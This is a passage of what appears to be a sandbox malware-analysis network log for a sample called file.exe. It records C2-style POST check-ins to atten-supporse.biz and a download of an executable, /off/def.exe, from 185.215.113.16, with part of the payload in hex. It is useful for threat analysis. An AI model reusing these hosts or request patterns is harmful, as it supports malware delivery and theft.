Dec 10, 2024 02:51:40.149127960 CET	50022	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:51:40.149166107 CET	443	50022	20.198.119.143	192.168.2.6
Dec 10, 2024 02:51:40.149219990 CET	50022	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:51:40.150238991 CET	50022	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:51:40.150250912 CET	443	50022	20.198.119.143	192.168.2.6
Dec 10, 2024 02:51:42.396354914 CET	443	50022	20.198.119.143	192.168.2.6
Dec 10, 2024 02:51:42.396574974 CET	50022	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:51:42.447331905 CET	50022	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:51:42.447356939 CET	443	50022	20.198.119.143	192.168.2.6
Dec 10, 2024 02:51:42.447665930 CET	443	50022	20.198.119.143	192.168.2.6
Dec 10, 2024 02:51:42.449263096 CET	50022	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:51:42.449368000 CET	50022	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:51:42.449373007 CET	443	50022	20.198.119.143	192.168.2.6
Dec 10, 2024 02:51:42.449506998 CET	50022	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:51:42.495332003 CET	443	50022	20.198.119.143	192.168.2.6
Dec 10, 2024 02:51:43.114721060 CET	443	50022	20.198.119.143	192.168.2.6
Dec 10, 2024 02:51:43.114901066 CET	443	50022	20.198.119.143	192.168.2.6
Dec 10, 2024 02:51:43.114980936 CET	50022	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:51:43.115112066 CET	50022	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:51:43.115139961 CET	443	50022	20.198.119.143	192.168.2.6
Dec 10, 2024 02:51:44.133562088 CET	49705	443	192.168.2.6	20.190.181.0
Dec 10, 2024 02:51:44.270986080 CET	443	49705	20.190.181.0	192.168.2.6
Dec 10, 2024 02:51:44.272114992 CET	49705	443	192.168.2.6	20.190.181.0
Dec 10, 2024 02:51:44.278914928 CET	50032	443	192.168.2.6	172.217.21.36
Dec 10, 2024 02:51:44.278954983 CET	443	50032	172.217.21.36	192.168.2.6
Dec 10, 2024 02:51:44.279041052 CET	50032	443	192.168.2.6	172.217.21.36
Dec 10, 2024 02:51:44.279236078 CET	50032	443	192.168.2.6	172.217.21.36
Dec 10, 2024 02:51:44.279249907 CET	443	50032	172.217.21.36	192.168.2.6
Dec 10, 2024 02:51:45.997756958 CET	443	50032	172.217.21.36	192.168.2.6
Dec 10, 2024 02:51:45.998064995 CET	50032	443	192.168.2.6	172.217.21.36
Dec 10, 2024 02:51:45.998094082 CET	443	50032	172.217.21.36	192.168.2.6
Dec 10, 2024 02:51:45.998423100 CET	443	50032	172.217.21.36	192.168.2.6
Dec 10, 2024 02:51:45.998869896 CET	50032	443	192.168.2.6	172.217.21.36
Dec 10, 2024 02:51:45.998975992 CET	443	50032	172.217.21.36	192.168.2.6
Dec 10, 2024 02:51:46.040100098 CET	50032	443	192.168.2.6	172.217.21.36
Dec 10, 2024 02:51:55.692753077 CET	443	50032	172.217.21.36	192.168.2.6
Dec 10, 2024 02:51:55.692835093 CET	443	50032	172.217.21.36	192.168.2.6
Dec 10, 2024 02:51:55.692886114 CET	50032	443	192.168.2.6	172.217.21.36
Dec 10, 2024 02:51:56.402883053 CET	50032	443	192.168.2.6	172.217.21.36
Dec 10, 2024 02:51:56.402918100 CET	443	50032	172.217.21.36	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 02:50:02.783358097 CET	52990	53	192.168.2.6	1.1.1.1
Dec 10, 2024 02:50:03.095489979 CET	53	52990	1.1.1.1	192.168.2.6
Dec 10, 2024 02:50:40.018590927 CET	53	61147	1.1.1.1	192.168.2.6
Dec 10, 2024 02:50:40.022342920 CET	53	53258	1.1.1.1	192.168.2.6
Dec 10, 2024 02:50:42.905864000 CET	53	59943	1.1.1.1	192.168.2.6
Dec 10, 2024 02:50:44.230005026 CET	64793	53	192.168.2.6	1.1.1.1
Dec 10, 2024 02:50:44.230298996 CET	64586	53	192.168.2.6	1.1.1.1
Dec 10, 2024 02:50:44.366681099 CET	53	64586	1.1.1.1	192.168.2.6
Dec 10, 2024 02:50:44.366703033 CET	53	64793	1.1.1.1	192.168.2.6
Dec 10, 2024 02:50:46.644650936 CET	51365	53	192.168.2.6	1.1.1.1
Dec 10, 2024 02:50:46.644813061 CET	55236	53	192.168.2.6	1.1.1.1
Dec 10, 2024 02:50:49.924762964 CET	51402	53	192.168.2.6	1.1.1.1
Dec 10, 2024 02:50:49.924762964 CET	51997	53	192.168.2.6	1.1.1.1
Dec 10, 2024 02:50:54.930324078 CET	53	63234	1.1.1.1	192.168.2.6
Dec 10, 2024 02:50:56.400423050 CET	51241	53	192.168.2.6	1.1.1.1
Dec 10, 2024 02:50:56.400610924 CET	58308	53	192.168.2.6	1.1.1.1
Dec 10, 2024 02:50:59.834733009 CET	53	59430	1.1.1.1	192.168.2.6
Dec 10, 2024 02:51:18.927615881 CET	53	61911	1.1.1.1	192.168.2.6
Dec 10, 2024 02:51:39.587060928 CET	53	62924	1.1.1.1	192.168.2.6
Dec 10, 2024 02:51:41.756830931 CET	53	57525	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 10, 2024 02:50:40.104924917 CET	192.168.2.6	1.1.1.1	c235	(Port unreachable)	Destination Unreachable
Dec 10, 2024 02:50:47.117672920 CET	192.168.2.6	1.1.1.1	c2c3	(Port unreachable)	Destination Unreachable
Dec 10, 2024 02:51:00.998346090 CET	192.168.2.6	1.1.1.1	c266	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 10, 2024 02:50:02.783358097 CET	192.168.2.6	1.1.1.1	0x2dba	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:50:44.230005026 CET	192.168.2.6	1.1.1.1	0x9af1	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:50:44.230298996 CET	192.168.2.6	1.1.1.1	0xba9a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 10, 2024 02:50:46.644650936 CET	192.168.2.6	1.1.1.1	0xb4d0	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:50:46.644813061 CET	192.168.2.6	1.1.1.1	0x10da	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 10, 2024 02:50:49.924762964 CET	192.168.2.6	1.1.1.1	0x42bb	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:50:49.924762964 CET	192.168.2.6	1.1.1.1	0x3970	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 10, 2024 02:50:56.400423050 CET	192.168.2.6	1.1.1.1	0x8e80	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:50:56.400610924 CET	192.168.2.6	1.1.1.1	0x2afb	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 10, 2024 02:50:03.095489979 CET	1.1.1.1	192.168.2.6	0x2dba	No error (0)	atten-supporse.biz		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:50:03.095489979 CET	1.1.1.1	192.168.2.6	0x2dba	No error (0)	atten-supporse.biz		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:50:03.095489979 CET	1.1.1.1	192.168.2.6	0x2dba	No error (0)	atten-supporse.biz		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:50:03.095489979 CET	1.1.1.1	192.168.2.6	0x2dba	No error (0)	atten-supporse.biz		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:50:03.095489979 CET	1.1.1.1	192.168.2.6	0x2dba	No error (0)	atten-supporse.biz		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:50:03.095489979 CET	1.1.1.1	192.168.2.6	0x2dba	No error (0)	atten-supporse.biz		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:50:03.095489979 CET	1.1.1.1	192.168.2.6	0x2dba	No error (0)	atten-supporse.biz		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:50:44.366681099 CET	1.1.1.1	192.168.2.6	0xba9a	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 10, 2024 02:50:44.366703033 CET	1.1.1.1	192.168.2.6	0x9af1	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:50:46.781738997 CET	1.1.1.1	192.168.2.6	0xb4d0	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:50:46.781738997 CET	1.1.1.1	192.168.2.6	0xb4d0	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:50:46.781738997 CET	1.1.1.1	192.168.2.6	0xb4d0	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:50:46.781738997 CET	1.1.1.1	192.168.2.6	0xb4d0	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:50:47.116575956 CET	1.1.1.1	192.168.2.6	0x10da	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:50:47.116575956 CET	1.1.1.1	192.168.2.6	0x10da	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:50:47.142188072 CET	1.1.1.1	192.168.2.6	0xe595	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:50:47.275022030 CET	1.1.1.1	192.168.2.6	0xd12f	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:50:47.275022030 CET	1.1.1.1	192.168.2.6	0xd12f	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:50:47.275022030 CET	1.1.1.1	192.168.2.6	0xd12f	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:50:50.062205076 CET	1.1.1.1	192.168.2.6	0x42bb	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:50:50.062205076 CET	1.1.1.1	192.168.2.6	0x42bb	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:50:50.062205076 CET	1.1.1.1	192.168.2.6	0x42bb	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:50:50.062205076 CET	1.1.1.1	192.168.2.6	0x42bb	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:50:50.062362909 CET	1.1.1.1	192.168.2.6	0x3970	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:50:50.062362909 CET	1.1.1.1	192.168.2.6	0x3970	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:50:50.186037064 CET	1.1.1.1	192.168.2.6	0x9c0d	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:50:50.186209917 CET	1.1.1.1	192.168.2.6	0xfdf7	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:50:50.186209917 CET	1.1.1.1	192.168.2.6	0xfdf7	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:50:50.186209917 CET	1.1.1.1	192.168.2.6	0xfdf7	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 02:50:56.795363903 CET	1.1.1.1	192.168.2.6	0x8e80	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:50:56.798918009 CET	1.1.1.1	192.168.2.6	0x2afb	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:51:00.780033112 CET	1.1.1.1	192.168.2.6	0xfbf5	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:51:00.997029066 CET	1.1.1.1	192.168.2.6	0x6265	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:51:07.561652899 CET	1.1.1.1	192.168.2.6	0x645d	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 02:51:07.562146902 CET	1.1.1.1	192.168.2.6	0x31c6	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

atten-supporse.biz

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49752	185.215.113.16	80	1596	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 02:50:26.026607990 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 10, 2024 02:50:27.406960011 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 01:50:26 GMT Content-Type: application/octet-stream Content-Length: 2821120 Last-Modified: Tue, 10 Dec 2024 01:21:12 GMT Connection: keep-alive ETag: "67579788-2b0c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 61 14 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +a+`Ui` @ @.rsrc`2@.idata 8@fnclnjqv*:@xutkjozi `+@.taggant@+"*@
Dec 10, 2024 02:50:27.407048941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:50:27.407066107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:50:27.407432079 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:50:27.407443047 CET	896	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:50:27.407461882 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:50:27.407474041 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 02:50:27.408299923 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: I"ojQGh_VUV~`VE<SQ<"w[ih F
Dec 10, 2024 02:50:27.408317089 CET	1236	IN	Data Raw: 6b 10 76 8a b5 8e 3e c5 e2 2e a3 ca b5 0a b9 5d 69 58 39 f4 28 b0 e5 fe 73 6a 83 7e bd 6a 39 0d aa e7 8d f5 54 d1 d2 d9 ac 5f 7d 1d 76 bb ba ec 74 43 86 13 b0 b9 ac 0d 96 68 e2 c8 f9 c8 ad f9 10 a4 a3 11 e3 08 4d ee 90 23 ee e6 57 89 59 0e 56 70 Data Ascii: kv>.]iX9(sj~j9T_}vtChM#WYVpsZ-xkS>$lM,yP}vfaPf_Cy;$fsW i2 y,~$n=,\/ZUS\|*,S#
Dec 10, 2024 02:50:27.408328056 CET	1236	IN	Data Raw: fa be ce 1c ff 99 b4 07 e9 e9 6a 5e cf a3 61 4d c1 b3 98 75 a3 ab e7 0c 6d b5 bf 52 cd 82 8e 55 d0 5e dd 3f d3 50 30 7d f5 fb 9d 44 d7 c9 7d da c3 b2 9c 9a 58 f9 b5 97 34 22 77 e1 f2 52 69 bc 7d aa 89 8f c0 c3 99 59 82 59 97 da 22 f0 9f 5f a6 d1 Data Ascii: j^aMumRU^?P0}D}X4"wRi}YY"_)}F`,l`S.1aoG$s$P.:*%dG_IsD}Q,RDE5XLHMH/r[b20MNQ
Dec 10, 2024 02:50:27.526586056 CET	1236	IN	Data Raw: 47 b5 12 d0 f2 7b 79 2f f8 05 bb a2 e8 cc 21 6e 28 45 d3 e8 90 9a c1 d1 0b 58 2d f6 9f 9b a1 22 9d ab 75 88 6f b4 de 1d c6 16 38 3e 77 b0 a8 a7 90 94 ab 57 e2 a5 b4 29 8c 6f fd 36 ef a9 5d e4 84 fe e7 9e dc 2e a5 25 64 bb 3d e4 73 a4 89 a1 ad 85 Data Ascii: G{y/!n(EX-"uo8>wW)o6].%d=snqbzw~ElMU(}<~5*b1::61H%tkLmD3FQ)Gzh%i7xfl} 2^!Q@T 1}he,{8/Y

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49707	104.21.16.1	443	1596	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:50:04 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-10 01:50:04 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-10 01:50:05 UTC	1013	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=63ford2o55di4jnipumfvpg3a3; expires=Fri, 04-Apr-2025 19:36:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TtD%2B0GjZx9b%2BzefQLtQ6y7S4TrbxtNZGtUaBqYpgOxkb31HZJ8teLqNTbMJ37zn8aWmAZ5btgjUqySla3m2OxOdx2uShJ4puaieJ1dh5nXvjxSztnFJm7Bp9UdrvRv197dyekx0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef994fed84742f5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1606&min_rtt=1604&rtt_var=605&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=909&delivery_rate=1801357&cwnd=195&unsent_bytes=0&cid=2f4cfd9789d88f59&ts=749&x=0"
2024-12-10 01:50:05 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-10 01:50:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49708	104.21.16.1	443	1596	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:50:06 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-10 01:50:06 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-10 01:50:07 UTC	1015	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=auce46rjfv174ooh5btr87j4a9; expires=Fri, 04-Apr-2025 19:36:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GBDSZFH8Uv2AD1%2FQQfZ6TWRJdqIrEStPao38zDF9ACDHQSwMMCHlJOlK%2BVaIXCJWvzVEIHvFFpZF7Alv7v2UIuGJi3m5fh125BaMLkvhqx%2Bcb4KbP3xIJJMDckKtSRJl6nhZ7uA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef9950b7bda42f5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1583&min_rtt=1581&rtt_var=597&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=1827284&cwnd=195&unsent_bytes=0&cid=9d9262554c72513e&ts=747&x=0"
2024-12-10 01:50:07 UTC	354	IN	Data Raw: 34 39 31 63 0d 0a 4e 2b 32 68 76 4d 32 61 38 34 2b 54 67 68 6e 69 6e 47 77 75 65 55 68 72 4f 39 4e 71 4f 44 55 53 52 66 4d 42 48 32 42 43 7a 7a 6c 4d 7a 39 65 65 39 36 37 66 72 65 44 6e 4f 39 6a 6f 48 6c 73 63 5a 45 6c 61 74 30 67 43 55 33 4d 70 67 47 51 7a 51 6a 53 69 47 77 32 4c 77 4e 43 2b 2f 39 2b 74 39 76 6f 37 32 4d 63 58 44 42 77 6d 53 51 48 78 44 31 4a 58 63 79 6d 52 59 48 51 50 4d 71 4e 61 58 34 48 47 31 4b 6a 35 6c 2b 37 2f 37 33 79 48 2b 51 31 45 46 79 45 47 55 37 35 49 46 42 64 33 50 39 45 37 50 53 30 6e 75 31 68 36 6a 4e 4c 58 37 2b 66 66 39 4c 48 6e 64 38 43 6d 54 6b 38 63 4b 67 64 64 74 77 46 51 58 58 6f 68 6b 47 56 31 45 43 75 70 55 56 2b 50 78 64 57 69 38 49 50 6a 39 65 68 33 67 66 4d 4e 44 46 56 71 44 6b 48 78 55 42 6f 45 51 69 53 41 63 Data Ascii: 491cN+2hvM2a84+TghninGwueUhrO9NqODUSRfMBH2BCzzlMz9ee967freDnO9joHlscZElat0gCU3MpgGQzQjSiGw2LwNC+/9+t9vo72McXDBwmSQHxD1JXcymRYHQPMqNaX4HG1Kj5l+7/73yH+Q1EFyEGU75IFBd3P9E7PS0nu1h6jNLX7+ff9LHnd8CmTk8cKgddtwFQXXohkGV1ECupUV+PxdWi8IPj9eh3gfMNDFVqDkHxUBoEQiSAc
2024-12-10 01:50:07 UTC	1369	IN	Data Raw: 39 5a 48 2f 2b 65 74 77 68 65 77 46 52 52 59 6e 43 56 53 37 42 31 6c 58 64 79 32 62 62 48 63 47 4c 61 42 64 56 59 2b 44 6b 4f 2f 2f 69 61 32 70 6f 46 69 46 37 67 6c 41 44 57 67 7a 47 61 35 47 51 78 64 33 4b 39 45 37 50 51 6f 6c 72 6c 68 65 67 4d 44 57 70 4f 71 52 2f 2f 66 74 66 70 4c 34 43 30 49 52 4b 52 74 54 76 77 35 5a 58 6e 73 75 6c 47 52 35 51 6d 37 74 58 45 33 50 6d 35 36 4f 39 5a 72 68 2b 2f 64 37 77 4f 46 41 56 56 73 74 42 52 6e 70 53 46 35 57 64 43 61 56 62 58 4d 47 4c 4b 74 56 57 49 44 46 31 4b 2f 2f 6d 2b 58 35 34 58 61 4c 38 51 35 4a 46 69 34 50 56 62 41 4e 47 68 6b 77 49 49 6b 6a 4a 55 49 4f 71 6c 68 48 7a 66 62 64 6f 66 61 57 2b 37 48 2f 4e 5a 6d 2b 43 55 42 62 63 6b 6c 58 74 41 64 49 56 6d 49 69 6e 33 46 78 42 79 61 67 57 46 75 50 78 74 6d Data Ascii: 